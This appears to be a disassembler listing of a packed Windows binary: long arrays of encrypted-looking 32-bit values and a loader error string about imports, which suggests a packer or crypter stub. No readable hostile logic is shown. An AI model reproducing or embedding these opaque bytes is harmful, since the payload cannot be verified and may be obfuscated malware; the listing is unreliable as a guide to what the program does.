dd 488D18A6h, 0E0A3A613h, 703CBEF8h, 0F46BA015h, 30A7E253h
dd 63443371h, 9513C2A7h, 8C0ACF76h, 3BA0E306h, 0AA791675h
dd 97C8FD45h, 0C689528Fh, 17708B11h, 0E38BF468h, 0E2397F76h
dd 0D7367463h, 0D734305h, 0DB675F19h, 8B5C6098h, 99513C4h
dd 46F9BF38h, 0F3D4D207h, 0DDF39F68h, 0E84C0DAAh, 0A48503ABh
dd 35796337h, 220783F8h, 0B5F9E1B9h, 5DA8E556h, 0A700FE64h
dd 3ABE8B6h, 0A4DB106Fh, 0ABE85603h, 2AB08F03h, 81E4A257h
dd 7CDD9D5Eh, 3ABE8FBh, 0EAEA5D2Ah, 0A11E5FAEh, 0D3DF1B5Ah
dd 0CCD20948h, 0C3B3F5B9h, 13E36D7Dh, 6E7432A7h, 4DD8DE1Bh
dd 0AF0EE74h, 0E86AEB4Ch, 0CCBB03ABh, 8AC77497h, 0A1551497h
dd 745586E5h, 0ABE8222Bh, 0D079F803h, 3ABE89Fh, 0BAE0F9B6h
dd 7760C1CDh, 716BEA31h, 75F5DE2Dh, 0C6C43581h, 2A7069D8h
dd 0EC1150D3h, 262C05A6h, 0B5BA1F02h, 5C03ABEBh, 5FAEECEDh
dd 4425A11Eh, 6F30A96h, 94353418h, 3ABEBB3h, 0E051F679h
dd 3103ABEBh, 4E25617Ah, 26F44EDBh, 0E5D27A4Fh, 6E18C6C4h
dd 0B4A72369h, 2384BBAFh, 1FAC2C3h, 9479B029h, 1B0B249Ah
dd 78EF44C2h, 0D3FFC339h, 0AD2A6C6Eh, 18839CEFh, 1FE01F41h
dd 56F376A3h, 0F9FA7AE5h, 0F30A473Ch, 32351906h, 850BF0B3h
dd 8BD4F566h, 418121Fh, 0C5A2F9B6h, 0F7DC15A8h, 0FB9F67ECh
dd 35D958C0h, 0C1661956h, 0A3E5D01h, 0AF8A730h, 67A2CC77h
dd 6790D32Ah, 860D4EEBh, 6FC4EDBEh, 576EF532h, 287DF89Fh
dd 49049h, 7632A400h, 0D9DD1968h, 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch
dd 0C7D8BF34h, 3F028816h, 99E8F6BCh, 0CEB35F63h, 5F078309h
dd 0A9D08126h, 1C01F9F1h, 4939AEDEh, 0E888DA3Dh, 40CDA607h
dd 6E5CFD6Ch, 8101FA43h, 157034A0h, 37106BA0h, 0F9FA433Bh
dd 53D6AE28h, 3FE7097Eh, 0B42Dh, 2B881100h, 0B3FC18B9h
dd 27C1363Bh, 6D149957h, 0C1CD3ADDh, 0A5510B16h, 0E4519AE1h
dd 38A3E265h, 4F08516Ah, 86FC18EDh, 0E61352A9h, 4873AA0h
dd 18EDB2A3h, 31463FCh, 95E59E4Eh, 0C0B902E4h, 3E726741h
dd 6DB8F5BBh, 0D8CB3E8h, 8E0CCB8Ah, 0EC6DFE7Fh, 25FC18B6h
dd 0C7ACCD4Eh, 0CFAC3497h, 0FCAC95FEh, 0E65FC18h, 58374FFh
dd 35268302h, 0ECFC18FCh, 67503697h, 9F1BDEF8h, 0AE1B505Eh
dd 0FC411EBBh, 4FE8FC18h, 746CF3CFh, 831A57E5h, 18F589A6h
dd 0A292DCFCh, 180F3F22h, 18F5A2BFh, 2F64BFCh, 2D2E8BBEh
dd 0E4FC18F5h, 15B4528Fh, 0A9h, 577B1829h, 0E35777D0h
dd 0B18E01FAh, 0A2F0EB6Ah, 0CC2A3324h, 0FA92EA6Bh, 0CB4C3BF9h
dd 1DB2788Dh, 0CE71AE3Fh, 0FA4DEC69h, 0DB4E25F9h, 0CF5E6298h
dd 49163D8Eh, 0F9FA4D33h, 53D6AE28h, 3FE7037Eh, 642Dh
dd 7F181100h, 0D4BB2C53h, 67494B9Fh, 6BB2A9A2h, 3F506855h
dd 95C663AEh, 57FC181Ah, 4A5E314h, 1352A986h, 3B3CDAE8h
dd 880B3E12h, 0B7A8A81Fh, 66F7065Ch, 81A585CAh, 4C953681h
dd 0FC181BC7h, 8DEA310Eh, 0FC185BF0h, 0BFCBBBA5h, 5BDA9B3Ch
dd 3C0BFC18h, 38810DCDh, 77EAC64Fh, 185BADD2h, 38FE4FCh
dd 23696E45h, 0E41659D8h, 97400FD8h, 5DC2F511h, 0B95506A3h
dd 0B78CFC18h, 9462C77Ah, 8F01FAD8h, 770C55B0h, 64F9FAA6h
dd 429F12E2h, 0EB3FE62Eh, 1C6F2DA8h, 4C810EDFh, 0A5000000h
dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 3E309918h, 0D101FAD1h
dd 8100039Ah, 0FAA13738h, 4891EEF9h, 0FAA152EFh, 41C041F9h
dd 0FAA177F8h, 8D1AEF9h, 89C8764Eh, 0A4E99151h, 9524B66Ah
dd 3F88CD58h, 0E6CFD60Bh, 0BD753Fh, 0AE490000h, 5BA2E8EFh
dd 5186C912h, 0E71304Bh, 31BAC1C7h, 6434A9A8h, 0A9FC2977h
dd 6935A7E6h, 0A2E81150h, 0D9DF185Bh, 0BEF5AA3Dh, 12C7FC18h
dd 0BE3B0E94h, 0CF54ADF8h, 0C3C3641Bh, 7201FAD2h, 7C9E4D9h
dd 0BCB210Eh, 82FF7C8Fh, 818E4955h, 811DBAADh, 28041F7Eh
dd 6D6D2C53h, 56199821h, 0EB24C3A5h, 0B453D30Bh, 0C3388675h
dd 2B7962C7h, 7F076FCEh, 3C0762FEh, 1D9h, 21ADE9EFh, 8A109440h
dd 537F43B7h, 25A1E7EEh, 8D099744h, 0CD0E8F76h, 7366DBC7h
dd 1AC0A12Dh, 0C0390896h, 9110DCFAh, 0F1AA0748h, 9757DEF9h
dd 0BB276D6Eh, 31228706h, 0E0FC18B9h, 0CA0F328Bh, 1818C6CCh
dd 0CEA05D7Bh, 0F5ACE68Fh, 665D23Bh, 70E998D5h, 0EC0FAA10h
dd 0CF2B4BE8h, 0EF1B2410h, 41E629B2h, 1FAD711h, 37106BC0h
dd 0F9FAA73Ah, 50D7AF29h, 3FE6317Dh, 0BFD2h, 2FAE1400h
dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh, 167533A4h
dd 0E1602EAFh, 6FFF2068h, 0E425A856h, 0B27D0F2Eh, 7510A9E6h
dd 183F772Ch, 169445FCh, 67E07988h, 18D48845h, 167531A5h
dd 105F68A5h, 682EABE7h, 721FE833h, 9C8E2B5Eh, 3701FACFh
dd 0F4995278h, 790851D0h, 9C041F5Fh, 0A821A0A7h, 73C314Bh
dd 74FBCC61h, 0AC9D3987h, 0F304612Fh, 0B6FE7F05h, 0DF70D3h
dd 0E3150000h, 8E463BA7h, 3DBD8C0Ah, 0E1145571h, 914A3FDBh
dd 89688703h, 0DDF9C734h, 0BB276D6Ch, 28814C6h, 0D6FCBA3Fh
dd 13297EEh, 0D0F9F1ADh, 6D6E69ADh, 11C6BB27h, 6DFA0F8Bh
dd 7A163D6h, 5713B442h, 0A1EDEFAEh, 1AA05918h, 11974083h
dd 0E6AA2F6Eh, 1A53AAEEh, 0AA1D5EADh, 0D11A612Fh, 34591208h
dd 16C81110h, 0C90201C1h, 2FA82B72h, 5DDC6D69h, 0F1B07BFCh
dd 0CDDAAF9h, 0DD1C9445h, 39AD7h, 0F4975797h, 5D6E07D9h
dd 36B1E5F4h, 8E662038h, 4EF1B720h, 29E96ACFh, 4338BBA8h
dd 1CDDAC7Ah, 85040F9Eh, 0A8293324h, 3495E2BBh, 0B9CCCA0Dh
dd 3F3BF36h, 0B0334A87h, 0D1054448h, 0EE68B6D5h, 5E18A216h
dd 0D9DF1866h, 78B4C3Dh, 0A91CED4h, 82Bh, 30A9E800h, 0A795516Ah
dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 242C895Ch, 81E38953h
dd 4C3h, 4EB8300h, 5C241C87h, 68243C89h, 10C2h, 53243489h
dd 0D40D8ABBh, 166EBF55h, 0EF815BBDh, 5609692Bh, 0C781DF29h
dd 5609692Bh, 348B545Bh, 4C48124h, 57000000h, 81243481h
dd 8F6DD876h, 0B9510846h, 8, 3181F101h, 6DD87681h, 24348B59h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815F2434h
dd 4C4h, 6A01E900h, 347DFFF9h, 7FB8C3DDh, 305E915h, 3E0FFC5h
dd 1D0B0F4Ch, 5E7D657Fh, 5118692Eh, 8F3781C2h, 0A45C0903h
dd 28662C22h, 4764778Dh, 0A11C2DF6h, 3568BA0Fh, 1D283D49h
dd 904FFFA5h, 0E6599E0h, 6D6C4DE7h, 5A615ACEh, 2A26513Ah
dd 40CCD2Dh, 270F9773h, 0C925B4E2h, 4030587h, 0FC68F8F0h
dd 0E8187E39h, 7, 9378A99Fh, 0FF88B9Bh, 0F5ADEBFh, 0C281F7BFh
dd 744Bh, 0E9BFCA8Bh, 0E800001Ch, 0Eh, 0D7ED8257h, 5EB11814h
dd 0B2A8B1Dh, 0B70F47F8h, 28B5ECBh, 0E25AE881h, 0CE8B75ACh
dd 2522C081h, 0E8811A6Fh, 7097E8B7h, 11E8h, 231A5D00h
dd 10865A51h, 183E06EEh, 408C90ABh, 0C3802806h, 8F505E20h
dd 73BB6602h, 4EA83DFh, 2BD68166h, 1EF835Bh, 1A850Fh, 0D3810000h
dd 6025BE76h, 26E9h, 0DF109D00h, 0E29F95ACh, 0EEE5FC40h
dd 0F468AA81h, 0ABF18166h, 0FF94E9B3h, 0CF4BFFFFh, 87D89017h
dd 5A7E10F6h, 0E90C6F1Dh, 127h, 73765B50h, 154EEFACh, 0
aAnErrorHasOcur db 'An Error has ocurred while loading imports',0
db 37h
dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
dd 777E600h, 5 dup(0)
dd 0FD000000h, 77E7A5h, 2Bh dup(0)
dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 8B8F96A6h
dd 1137F778h, 35B11C13h, 41D00D63h, 722B6166h, 0A9F29E35h
dd 88321177h, 756F90EFh, 0BFBF1084h, 14D6A79Ch, 0D069C699h
dd 5C37A8E5h, 56321084h, 0A9614571h, 88321177h, 756F90EFh
dd 0BFBF1084h, 14D6BA8Fh, 0D069C699h, 0F9B1D5EDh, 27DB021Eh
dd 1B61A66h, 5321566h, 0ACC086E3h, 0AFE2EA63h, 0F9C0D6E3h
dd 4EE2EA63h, 0A6385CE3h, 705A4363h, 0EEAEBDDEh, 6A24B4D3h
dd 25B79863h, 0DD37F01Ch, 3CB79CB6h, 537F76Dh, 0AD2A5DE3h
dd 0A7BF4563h, 14DB024Fh, 1A7EA36h, 8337F77Ch, 0C03580E3h
dd 11321563h, 0C1B7D366h, 137F76Ch, 505B7C0Eh, 3C87EAE8h
dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F31DD8E3h, 0C1B7D363h
dd 737F76Ch, 45594B0Eh, 3C87EAFAh, 537F740h, 0A60BF8E3h
dd 0ABE2EA63h, 0F82575E3h, 0C1B7D363h, 1037F76Ch, 405A3C0Eh
dd 3C87EA88h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82571E3h
dd 0C1B7D363h, 137F76Ch, 420AD70Eh, 3C87EABCh, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F8257DE3h, 318F9663h, 4437F766h
dd 22779069h, 94F41566h, 8DD01F2Fh, 3AB47D23h, 97CDEF46h
dd 14D0334Bh, 0B1DF90EBh, 94CD1084h, 355E90EFh, 94F4108Fh
dd 8DD01F2Fh, 94F17D2Ah, 97CDF540h, 14D0334Bh, 0B1DF90EBh
dd 94CD1084h, 354290EFh, 51DB108Fh, 4E321566h, 0A6385CE3h
dd 2F5A4763h, 0EE8E5F82h, 6A3B04D3h, 0A9B79863h, 0DD37F75Fh
dd 7DB79CB6h, 4E37FC71h, 0A6385CE3h, 6A5A4763h, 0EE94592Ch
dd 6A3B04D3h, 0A9B79863h, 0DD37F75Fh, 61B79CB6h, 4E37FC71h
dd 0A6385CE3h, 0C85A4763h, 0EECF57D2h, 6A1438D3h, 0A9B79863h
dd 0DD37F75Fh, 0A4B79CB6h, 4E37F761h, 0A6385CE3h, 815A6263h
dd 0EEC182CEh, 6A2718D3h, 0A9B79863h, 0DD37F75Fh, 94B79CB6h
dd 4E37F74Ah, 0A6385CE3h, 355A4763h, 0EEB8C857h, 6A1438D3h
dd 0A9B79863h, 0DD37F75Fh, 0F4B79CB6h, 4E37F76Eh, 0A6385CE3h
dd 1B5A4363h, 0EEE60A0Bh, 6A24B4D3h, 25B79863h, 0DD37F01Ch
dd 94B79CB6h, 4E37F763h, 0A6385CE3h, 585A5263h, 0EEB3C976h
dd 6A1438D3h, 0A9B79863h, 0DD37F75Fh, 74B79CB6h, 4E37F763h
dd 0A6385CE3h, 0C05A5263h, 0EEB81AD3h, 6A1438D3h, 0A9B79863h
dd 0DD37F75Fh, 81B79CB6h, 0B37FC71h, 0A627CCDBh, 0A63D1563h
dd 11321337h, 827B90A0h, 2C7E1084h, 0FBE8098Fh, 371FA099h
dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB021Ah, 827B90A0h
dd 2C7E1084h, 0FF46CBA8h, 371FA099h, 0DBF1084h, 41D02C8Bh
dd 0A7BBC599h, 14DB02E6h, 827B90A0h, 2C7E1084h, 95B39759h
dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02E2h
dd 827B90A0h, 2C7E1084h, 911D557Eh, 371FA099h, 0DBF1084h
dd 41D02C8Bh, 0A7BBC599h, 14DB02E2h, 827B90A0h, 2C741084h
dd 98EC1372h, 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h
dd 14DB02EAh, 827B90A0h, 2C751084h, 0A3EE051Ch, 371FA099h
dd 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02F2h, 827B90A0h
dd 2C751084h, 0CDB59BCAh, 371FA099h, 0DBF1084h, 41D02C8Bh
dd 0A7BBC599h, 14DB02FEh, 827B90A0h, 2C751084h, 0F6A8B2B4h
dd 371FA099h, 0DBF1084h, 41D02C8Bh, 0A7BBC599h, 14DB02FAh
dd 827B90A0h, 2C751084h, 98F32C62h, 371FA099h, 0DBF1084h
dd 41D02C8Bh, 0A7BBC599h, 14DB02C6h, 0AAFFA8E5h, 31321084h
dd 6BB7D346h, 5637F76Ch, 0FA1F720Eh, 6987EA86h, 0AF37F740h
dd 0F30BF8E3h, 1E2EA63h, 0AD25B1E3h, 6BB7D363h, 5637F76Ch
dd 0A181A40Eh, 6987EAE8h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h
dd 0AD25BDE3h, 6BB7D363h, 5237F76Ch, 0FE78B20Eh, 6987EAA6h
dd 0AF37F740h, 0F30BF8E3h, 1E2EA63h, 0AD25B9E3h, 6BB7D363h
dd 5D37F76Ch, 0EE5EFE0Eh, 4987EA9Dh, 0AF37F773h, 0F30BF8E3h
dd 1E2EA63h, 0AD2A55E3h, 6BB7D363h, 5537F76Ch, 0FBBC400Eh
dd 6987EADDh, 0AF37F740h, 0F30BF8E3h, 1E2EA63h, 0AD25A5E3h
dd 6BB7D363h, 5237F76Ch, 65CE90Eh, 6987EADAh, 0AF37F740h
dd 0F30BF8E3h, 1E2EA63h, 0AD25A1E3h, 6BB7D363h, 4237F76Ch
dd 980CBF0Eh, 6987EAA0h, 0AF37F740h, 0F30BF8E3h, 1E2EA63h
dd 0AD25ADE3h, 238F9663h, 1137F74Bh, 88D29169h, 0C1F41566h
dd 27D01F2Fh, 0DF037D20h, 3DCDEFF0h, 41D0334Bh, 1BDF90EBh
dd 0C1CD1084h, 902690EFh, 0C1F4108Fh, 27D01F2Fh, 2BE47D20h
dd 3DCDE9C1h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 901690EFh
dd 0C1F4108Fh, 27D01F2Fh, 0B5327D20h, 3DCD879Ah, 41D0334Bh
dd 1BDF90EBh, 0C1CD1084h, 901A90EFh, 0C1F4108Fh, 27D01F2Fh
dd 5E587D20h, 3DCDE3B2h, 41D0334Bh, 1BDF90EBh, 0C1CD1084h
dd 901E90EFh, 0C1F4108Fh, 27D01F2Fh, 41D57D20h, 3DCD81ABh
dd 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 902A90EFh, 0C1F4108Fh
dd 27D01F2Fh, 65097D20h, 3DCDA444h, 41D0334Bh, 1BDF90EBh
dd 0C1CD1084h, 902E90EFh, 0C1F4108Fh, 27D01F2Fh, 0FBDF7D20h
dd 3DCDCA1Fh, 41D0334Bh, 1BDF90EBh, 0C1CD1084h, 901290EFh
dd 0F9B1108Fh, 27D037ABh, 0D7126066h, 6A385CE3h, 1A5A4663h
dd 0DDFCAB86h, 0F31438D3h, 65B79863h, 0BB37F75Fh, 9EB79CB6h
dd 0D737FC71h, 6A385CE3h, 0C35A5263h, 0DDF5A438h, 0F31438D3h
dd 65B79863h, 0BB37F75Fh, 0E2B79CB6h, 9237FC71h, 6A10D8DBh
dd 64471563h, 287B90A0h, 79751084h, 6E506B63h, 621FA099h
dd 0A7BF1084h, 14D02C8Bh, 0DBBC599h, 41DB02A2h, 287B90A0h
dd 79711084h, 1A481C90h, 621FA099h, 0A7BF1084h, 14D02C8Bh
dd 0DBBC599h, 41DB02AEh, 287B90A0h, 79711084h, 74138246h
dd 621FA099h, 0A7BF1084h, 14D02C8Bh, 0DBBC599h, 41DB02AAh
dd 0FFA8E5h, 64321084h, 0C1B7D326h, 737F76Ch, 229A160Eh
dd 3C87EAEDh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825C1E3h
dd 0C1B7D363h, 737F76Ch, 7904C00Eh, 3C87EA83h, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F825C5E3h, 0C1B7D363h, 737F76Ch
dd 8800F40Eh, 3C87EA8Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h
dd 0F825CDE3h, 0C1B7D363h, 737F76Ch, 0D39E220Eh, 3C87EAE2h
dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825C9E3h, 0C1B7D363h
dd 0B37F76Ch, 17A2C10Eh, 3C87EAF1h, 537F740h, 0A60BF8E3h
dd 0ABE2EA63h, 0F825F5E3h, 0C1B7D363h, 0B37F76Ch, 4C3C170Eh
dd 3C87EA9Fh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825F1E3h
dd 0C1B7D363h, 937F76Ch, 154B5C0Eh, 3C87EAAEh, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F825F9E3h, 0C1B7D363h, 937F76Ch
dd 0D57F9C0Eh, 3C87EABAh, 537F740h, 0A60BF8E3h, 0ABE2EA63h
dd 0F825FDE3h, 0C1B7D363h, 1137F76Ch, 391F220Eh, 3C87EAFAh
dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F825E5E3h, 0C1B7D363h
dd 737F76Ch, 0F7C23F0Eh, 3C87EAB4h, 537F740h, 0A60BF8E3h
dd 0ABE2EA63h, 0F825E1E3h, 0C1B7D363h, 1637F76Ch, 6086FF0Eh
dd 3C87EA9Bh, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F335A0E3h
dd 0C1B7D363h, 337F76Ch, 0BA6B8C0Eh, 3C87EA84h, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F825EDE3h, 0C1B7D363h, 337F76Ch
dd 0DF52D70Eh, 3C87EAD7h, 537F740h, 0A60BF8E3h, 0ABE2EA63h
dd 0F825E9E3h, 0C1B7D363h, 337F76Ch, 84CC010Eh, 3C87EAB9h
dd 537F740h, 0A60BF8E3h
dd 0ABE2EA63h, 0F82A15E3h, 0C1B7D363h, 1B37F76Ch, 72C07D0Eh
dd 3C87EAF8h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A11E3h
dd 0C1B7D363h, 0B37F76Ch, 0DE492A0Eh, 3C87EAA1h, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F82A25E3h, 0C1B7D363h, 337F76Ch
dd 795C590Eh, 3C87EA9Ch, 537F740h, 0A60BF8E3h, 0ABE2EA63h
dd 0F82A21E3h, 0C1B7D363h, 337F76Ch, 2416D80Eh, 3C87EAA5h
dd 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A2DE3h, 0C1B7D363h
dd 1B37F76Ch, 9952D90Eh, 3C87EAB2h, 537F740h, 0A60BF8E3h
dd 0ABE2EA63h, 0F82A1DE3h, 0C1B7D363h, 1B37F76Ch, 0CB665B0Eh
dd 3C87EAF8h, 537F740h, 0A60BF8E3h, 0ABE2EA63h, 0F82A19E3h
dd 0C1B7D363h, 1B37F76Ch, 311A5D0Eh, 3C87EAB7h, 537F740h
dd 0A60BF8E3h, 0ABE2EA63h, 0F82A05E3h, 0E0367F63h, 44320566h
dd 2222150Eh, 0EE327F66h, 6A3938F3h, 99B79C63h, 0AF37F778h
dd 0F9E3FBE3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h
dd 0A5A7EA66h, 0CD37F76Dh, 0C039A8E3h, 58B79C63h, 0E237F767h
dd 54327D26h, 225A1566h, 7B321466h, 0A5A7EA66h, 0CD37F76Dh
dd 0C03AC4E3h, 10879E63h, 337F763h, 0A62C48FBh, 17879C63h
dd 9837F768h, 6A3F3CFBh, 19AF9E63h, 0A937F778h, 11CB966Dh
dd 82ED9169h, 15621566h, 0ABF22606h, 0F3339CE3h, 880EAB63h
dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
dd 9FBB0D18h, 14D00C6Fh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
dd 11A3FC66h, 3631566h, 40E07EB1h, 63380EFh, 15581084h
dd 8822150Eh, 44584766h, 291F8099h, 94BB1084h, 8DD00997h
dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 998F9EB1h, 0A137F778h
dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 6A339CE3h
dd 0CDA79E63h, 1B37F767h, 0F32B1CF3h, 82B61A63h, 1E321566h
dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27D0371Bh
dd 11321566h, 0A97790A1h, 44321084h, 9FB11566h, 14DB021Eh
dd 80B61A66h, 0C9321566h, 0CA51BEFBh, 0EEE1EA63h, 6A3AECE3h
dd 0BD8F9663h, 4637F76Eh, 11509769h, 0DF51566h, 41D01D9Fh
dd 22321567h, 41879806h, 537FC7Eh, 0AD06AEDBh, 0A9CC3E63h
dd 0CC8F9EB1h, 0B37F778h, 8401EAAFh, 0E30013ECh, 96369E20h
dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 816B905Fh
dd 0C03D1084h, 22321571h, 0D93A8E5h, 87321084h, 44321FE3h
dd 0B7B7D266h, 1037F761h, 0E9321566h, 4CE902DFh, 0CEC0AF0Ch
dd 989F6B91h, 6A3C20D3h, 0B874D263h, 22321566h, 0FFDCFB5Bh
dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
dd 44321560h, 26F49666h, 1F07A0EFh, 71DB1084h, 0CF32156Eh
dd 0B7B726BEh, 0D037F761h, 4A1916AEh, 7722D5A7h, 0B7AF9CA7h
dd 2C37F761h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 6A3C20D3h
dd 19AF9E63h, 0A937F778h, 71E29E6Dh, 0D19D7EDh, 41D018EFh
dd 2130F5A7h, 0F339B8E3h, 8B9F8363h, 60769CA7h, 5EDB747Ah
dd 40321566h, 3FB2634h, 0A62EE4F3h, 2D302E63h, 11322DE2h
dd 8CF09666h, 4DBF2E27h, 2D37F77Fh, 0EECDFDE3h, 0BD879899h
dd 0C937FC71h, 0C01F98DBh, 0D1B6B963h, 88349169h, 0AD981566h
dd 0DDCDEA97h, 113215DEh, 0CABF9866h, 0BB37F72Ah, 0ABBF9C87h
dd 4B37F767h, 15B9433Fh, 41D00B3Bh, 0A7B91EEDh, 14D014EFh
dd 0D31F5B7h, 41D00C13h, 44A4E355h, 13D2D4CBh, 839F9065h
dd 0E9A41084h, 0A16CD465h, 0F32AA4DBh, 0C3D1463h, 4432155Fh
dd 41F985Dh, 953D1084h, 8832154Bh, 513F985Dh, 0A63D1084h
dd 11321547h, 99BB985Dh, 0C03D1084h, 22321573h, 3DA188EBh
dd 5BCD108Fh, 0C1BBEDEDh, 27D0254Fh, 1134A18Fh, 1BAF9866h
dd 0BB37FC4Ah, 938F96B5h, 1137F77Eh, 882F9169h, 0C1091566h
dd 27D0053Fh, 113E9169h, 0D091566h, 41D00823h, 22379069h
dd 0A8DB1566h, 0B3CDEA99h, 0A61DD8E3h, 3AB71A63h, 92321566h
dd 6A32ACDBh, 0C13D1563h, 2232156Dh, 105090EBh, 1DDB108Fh
dd 7FCDEA99h, 0C01DD8E3h, 98B61A63h, 0BCDEA99h, 0AD2524DBh
dd 0A73D1463h, 11321571h, 9FA2905Dh, 0C13D108Fh, 2232156Dh
dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0FB8F9699h, 1137F773h
dd 8B559169h, 0C1091566h, 27DB021Ah, 94B91213h, 8DD005E7h
dd 0C0B72E21h, 5737FC71h, 6CB79E61h, 0CF37F766h, 53B2905Dh
dd 2547108Fh, 306B90EDh, 0B3751084h, 0AD259DE3h, 0A9356063h
dd 0F332B0E3h, 0D095263h, 41DB02EAh, 0A7B91213h, 14D034DBh
dd 18B72E21h, 3137FC71h, 0FBB79E61h, 5637F74Dh, 9FA6905Dh
dd 4347108Fh, 354390EDh, 2A751084h, 61258DE3h, 0CF356063h
dd 0C02958E3h, 94095263h, 8DDB02FAh, 0C1B91213h, 27D0021Fh
dd 0B1B72E21h, 0FD37FC71h, 0A1B79E61h, 6537F769h, 69A905Dh
dd 8F47108Fh, 5DF790EDh, 19751084h, 0F825B1E3h, 0B226063h
dd 0A610D8DBh, 25471563h, 30B390EDh, 0B751084h, 0A637B0DBh
dd 2D461563h, 902905Dh, 8F47108Fh, 4DFB90EDh, 0A1751084h
dd 0F31F14DBh, 0FA461563h, 407BA8E5h, 56321084h, 5B72E0Fh
dd 0FD37FC7Eh, 0A5B79E61h, 6537F74Dh, 916905Dh, 8F47108Fh
dd 5B8390EDh, 19751084h, 0F82A0DE3h, 3356063h, 0A6298CE3h
dd 0A7095263h, 14DB0D4Eh, 0DB91213h, 41D00B1Bh, 0EB72E21h
dd 6437FC7Eh, 65B79E61h, 337F74Dh, 3A2E905Dh, 1647108Fh
dd 8D6F90EDh, 7F751084h, 0CB2A35E3h, 9A356063h, 6A26B8E3h
dd 0F9B15263h, 27D0112Fh, 1BB61A66h, 0B3321564h, 0AD25B9E3h
dd 0A9356063h, 0F338E4E3h, 0D095263h, 41DB0D26h, 0A7B91213h
dd 14D00023h, 38B72E21h, 3137FC71h, 0D3B79E61h, 5637F76Eh
dd 9F86905Dh, 4347108Fh, 399F90EDh, 2A751084h, 6125ADE3h
dd 0CF356063h, 0C016D0E3h, 94095263h, 8DDB02DAh, 0F9B10513h
dd 27D037ABh, 9A356066h, 6A3E68E3h, 0C1095263h, 27DB02A6h
dd 94B91213h, 8DD0250Fh, 80B72E21h, 5737FC71h, 0DC8F9676h
dd 8837F744h, 0C1B91213h, 27D005DBh, 0D9B72E21h, 0FD37FC71h
dd 0A1B79E61h, 6537F770h, 6FE905Dh, 8F47108Fh, 594790EDh
dd 19751084h, 0F825C1E3h, 0B226063h, 0A610D8DBh, 25471563h
dd 3DBF90EDh, 0B3751084h, 0AD25C5E3h, 0A1226063h, 0F310D8DBh
dd 8F471563h, 4EEB90EDh, 19751084h, 0F825CDE3h, 3356063h
dd 0A61ED8E3h, 0A7095263h, 14DB02BAh, 0DB91213h, 41D01CE3h
dd 0C2B72E21h, 6437FC71h, 81B79E61h, 337F77Ah, 35D6905Dh
dd 1647108Fh, 8BC790EDh, 7F751084h, 0CB25FDE3h, 9A356063h
dd 6A2AECE3h, 0C1095263h, 27DB028Ah, 94B91213h, 8DD0271Fh
dd 0B4B72E21h, 5737FC71h, 98B79E61h, 0CF37F74Fh, 53C6905Dh
dd 2547108Fh, 95F90EDh, 0B3751084h, 0A635A0E3h, 0A9356063h
dd 0F33388E3h, 0D095263h, 41DB029Eh, 0A7B91213h, 14D0251Bh
dd 0BCB72E21h, 3137FC7Eh, 1E8F967Fh, 1137FC7Eh, 35B11C13h
dd 41D00DD7h, 0A9356166h, 0F32878E3h, 0D095263h, 41DB0D5Eh
dd 9FB10C13h, 14DB0D5Ah, 0B3B6066h, 0A62AA4DBh, 25461563h
dd 156790EDh, 0B3751084h, 0AD25E9E3h, 0A9356063h, 0F33AC8E3h
dd 0D095263h, 41DB0D66h
dd 0A7B91213h, 14D02667h, 8CB72E21h, 3137FC7Eh, 1BB79E61h
dd 5637F761h, 903A905Dh, 4347108Fh, 231390EDh, 2A751084h
dd 612A19E3h, 0CF356063h, 0C0250CE3h, 94095263h, 8DDB0D76h
dd 0C1B91213h, 27D01F97h, 1ECD1E21h, 883210E2h, 0BFD8FC66h
dd 0A709EA99h, 14D039E3h, 88399069h, 0C1BF1566h, 27DAB6B5h
dd 0EEC9C68Fh, 6DB72E99h, 4B37F76Eh, 22320DE3h, 208F9666h
